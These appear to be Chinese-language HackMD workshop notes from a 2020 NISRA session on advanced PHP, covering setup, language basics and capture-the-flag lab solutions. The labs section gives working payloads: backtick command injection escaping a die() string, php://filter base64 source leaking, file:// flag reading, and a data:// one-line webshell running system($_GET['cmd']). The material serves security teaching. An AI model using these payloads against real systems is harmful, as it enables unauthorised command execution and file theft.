--- title: Advanced PHP --- # Advanced PHP by Chess > [slides](https://slides.com/chesskuo/200828_php/fullscreen) > [課程影片連結](https://youtu.be/mZwuQCKQJ9g) > [slido 匿名發問](https://app.sli.do/event/b7ycp8s4/live/questions)(連結已關閉) :::info `Z:\` 底下有個今天 PHP 的環境安裝包以及 sample code 壓縮檔 ::: ### Environment - Windows - 安裝 PHP for Windows - 把 php-7.2.33-nts-Win32-VC15-x64.zip 解壓縮 - 打開環境變數 - 點選環境變數 - 在下方的系統變數中找到Path並點擊 - 點擊新增 - 把剛剛解壓縮的檔案路徑複製起來(e.g. C:\Users\CS2019\Desktop\Enlightened 2020\[200828] Advanced PHP\php-7.2.33-nts-Win32-VC15-x64)貼上去 - 打開cmd輸入 php xxx.php就可以使用囉 - Linux - sudo apt install -y php - MacOS - brew install php ## Memorial - PHP 程式碼區塊 - `<?php abcd ?>` - 變數宣告 - `$` - 語法結尾 - `;` - 註解 - //單行註解 - /* 多行註解 */ - 資料型態 - int - float - Boolean - string - Array - object - 字串 - 宣告 - "會解析字串" (類似Python f'') - '不會解析字串' - 串接 - . - ex. 'aaa' . 'bbb'; --- ### 相等 - ``==`` - 不安全相等,存在memory中的binary相等就true - `===` - 嚴格相等,必須連資料型態都一樣才true ### 括號 - `{}` scope - ``[ ]`` 索引 - ``( )`` 參數 - ``< >`` 模板型態 --- - `${phpinfo()}` 列出 php 基礎資料 - `eval(你的輸入)` 將你的輸入當作 php 的 code 來執行 - `‵` 可以直接執行system code ``` <?php echo `dir`; ?> ``` 可直接使用 dir - `${system($_)}|Ls` ## 偽協議 - .LFI - .RFI 可以從別的地方 include 任意東西進來 - .RCE 可以從別的地方執行指令(?) ### php:// - input - 預設會去讀取 Post Body 的資料 - 要開啟 allow_url_include - filter/參數 - `read=` 以什麼方式讀取 - `resource=` 必須給 ! * `php://filter/read=???/resource=` - read可以選擇要讀取的編碼方式 - `convert.base64-<encode/decode>` - `string.rot13` - `string.toupper` - `string.tolower` # Labs ## sushi - 先把 `die()` 中的雙引號關閉,並且利用重音符執行系統命令 ``` " . `ls` . " ``` - 接著會看到 flag 的檔案名稱超長,有兩種想法可以拿出 flag 1. `".`cat T*`."` 2. 利用長度繞過方式 `${system($_)}|cat xxx` ## file:// ``` file:///flag.txt ``` ## php:// - 先用 base64 將 php 原始碼 leak ``` php://filter/read=convert.base64-encode/resource=secret.php ``` - 再將出來的字串 decode 回去便會得到 php source code ## http:// & data:// - 直接用 `data://` 寫一句話木馬 ``` ?file=data://text/plain,<?php system($_GET['cmd']);?>&cmd=ls ``` - 利用 linux 指令 `find` 來找出 flag 位置 ```bash find / -name flag.txt ``` - 找到路徑後直接用 `cat` 指令存取或是一開始教的 `file://` --- ###### tags: `Enlightened` `NISRA` `2020` <style> .navbar-brand::after { content: " × NISRA"; } </style>pytho
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up